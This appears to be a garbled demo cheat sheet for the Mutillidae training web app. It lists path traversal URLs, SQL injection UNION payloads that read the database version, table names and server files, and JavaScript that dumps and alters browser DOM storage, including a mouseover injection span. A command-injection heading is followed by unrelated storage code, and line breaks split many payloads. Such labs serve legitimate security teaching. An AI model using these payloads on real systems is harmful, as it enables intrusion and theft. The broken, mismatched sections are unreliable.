Mutillidae Demo
Mutillidae Demo
----------------------------------------------------------------------------------------------------------robots.txt
(http://
localhost/mutillidae/index.php?page=robots.txt)
lack of cache control
(about:cache)
insecure direct object references
(http://localhost/mutillidae/ind
ex.php?page=..\\..\\..\\..\\WINDOWS\\system32\\drivers\\etc\\hosts)
----------------------------------------------------------------------------------------------------------SQL Injection: General Progression
----------------------------------------------------------------------------------------------------------Recon: Returns a string that indicates the MySQL server version
Page: user-info.php
Field: Username
Value: ' union select null,VERSION() AS username,null,null,null
-' union select null,null,null,version(),null -Recon: Extract table names from database
Page: user-info.php
Field: Username
Value: ' union select null,table_schema AS username,table_name
AS password,null,null from INFORMATION_SCHEMA.TABLES-Using advanced techniques: Open files on target operating system
Page: user-info.php
Field: username
Values:
' union select null, LOAD_FILE('../README') AS username,
null, null ,null-' union select null, LOAD_FILE('..\\..\\..\\..\\WINDOWS\
\system32\\drivers\\etc\\hosts') AS username, null, null ,null-' union select null, LOAD_FILE('..\\..\\..\\..\\WINDOWS\
\inf\\cpu.inf') AS username, null, null ,null-' union select null, LOAD_FILE('mysql_error.log'), null,
null ,null-' union select null, LOAD_FILE('..\\..\\..\\htdocs\\muti
llidae\\index.php'), null, null ,null-----------------------------------------------------------------------------------------------------------Command Injection: Enable Windows Telnet Service (Windows XP SP3)
----------------------------------------------------------------------------------------------------------Page: dns-lookup.php
NOTE: Similar to Meterpreter run gettelnet <options>
Plan A (Firebug):
try{var m = "";var l = window.localStorage;var s = window.sessio
nStorage;for(i=0;i<l.length;i++){var lKey = l.key(i);m += lKey + "=" + l.getItem
(lKey) + ";\n";};for(i=0;i<s.length;i++){var lKey = s.key(i);m += lKey + "=" + s
.getItem(lKey) + ";\n";};console.log(m);}catch(e){alert(e.message);}try{localSto
rage.setItem("MessageOfTheDay","This was set by Firebug console!"); sessionStora
ge.setItem("CartSession","ABCDEFG");}catch(e){alert(e.message);}try{var m = "";v
ar l = window.localStorage;var s = window.sessionStorage;for(i=0;i<l.length;i++)
{var lKey = l.key(i);m += lKey + "=" + l.getItem(lKey) + ";\n";};for(i=0;i<s.len
gth;i++){var lKey = s.key(i);m += lKey + "=" + s.getItem(lKey) + ";\n";};console
.log(m);}catch(e){alert(e.message);}
Plan B (DOM Injection):
<span onmouseover='try{var m = "";var l = window.localStorage;va
r s = window.sessionStorage;for(i=0;i<l.length;i++){var lKey = l.key(i);m += lKe
y + "=" + l.getItem(lKey) + ";\n";};for(i=0;i<s.length;i++){var lKey = s.key(i);
m += lKey + "=" + s.getItem(lKey) + ";\n";};alert(m);}catch(e){alert(e.message);
}try{localStorage.setItem("MessageOfTheDay","This was set by Firebug console!");
sessionStorage.setItem("CartSession","ABCDEFG");}catch(e){alert(e.message);}try
{var m = "";var l = window.localStorage;var s = window.sessionStorage;for(i=0;i<
l.length;i++){var lKey = l.key(i);m += lKey + "=" + l.getItem(lKey) + ";\n";};fo
r(i=0;i<s.length;i++){var lKey = s.key(i);m += lKey + "=" + s.getItem(lKey) + ";
\n";};alert(m);}catch(e){alert(e.message);}'>DANGER: DONT MOUSEOVER</span>
DEMONSTRATION #4. Delete values currently in our DOM storage and read st
orage back
Plan A (Firebug): Using the removeItem() method
try{var m = "";var l = window.localStorage;var s = windo
w.sessionStorage;for(i=0;i<l.length;i++){var lKey = l.key(i);m += lKey + "=" + l
.getItem(lKey) + ";\n";};for(i=0;i<s.length;i++){var lKey = s.key(i);m += lKey +
"=" + s.getItem(lKey) + ";\n";};window.console.log(m);}catch(e){console.log(e.m
essage);}try{localStorage.removeItem("MessageOfTheDay"); sessionStorage.removeIt
em("CartSession"); sessionStorage.removeItem("CurrentBrowser"); sessionStorage.r
emoveItem("SessionStorageTarget"); localStorage.removeItem("LocalStorageTarget")
;}catch(e){console.log(e.message);}try{var m = "";var l = window.localStorage;va
r s = window.sessionStorage;for(i=0;i<l.length;i++){var lKey = l.key(i);m += lKe
y + "=" + l.getItem(lKey) + ";\n";};for(i=0;i<s.length;i++){var lKey = s.key(i);
m += lKey + "=" + s.getItem(lKey) + ";\n";};window.console.log(m);}catch(e){cons
ole.log(e.message);}
Alternative: Use the clear method
try{var m = "";var l = window.localStorage;var s = windo
w.sessionStorage;for(i=0;i<l.length;i++){var lKey = l.key(i);m += lKey + "=" + l
.getItem(lKey) + ";\n";};for(i=0;i<s.length;i++){var lKey = s.key(i);m += lKey +
"=" + s.getItem(lKey) + ";\n";};window.console.log(m);}catch(e){console.log(e.m
essage);}try{localStorage.clear(); sessionStorage.clear();}catch(e){console.log(
e.message);}try{var m = "";var l = window.localStorage;var s = window.sessionSto
rage;for(i=0;i<l.length;i++){var lKey = l.key(i);m += lKey + "=" + l.getItem(lKe
y) + ";\n";};for(i=0;i<s.length;i++){var lKey = s.key(i);m += lKey + "=" + s.get
Item(lKey) + ";\n";};window.console.log(m);}catch(e){console.log(e.message);}
Plan B (DOM Injection):
<span onmouseover='try{var m = "";var l = window.localSt
orage;var s = window.sessionStorage;for(i=0;i<l.length;i++){var lKey = l.key(i);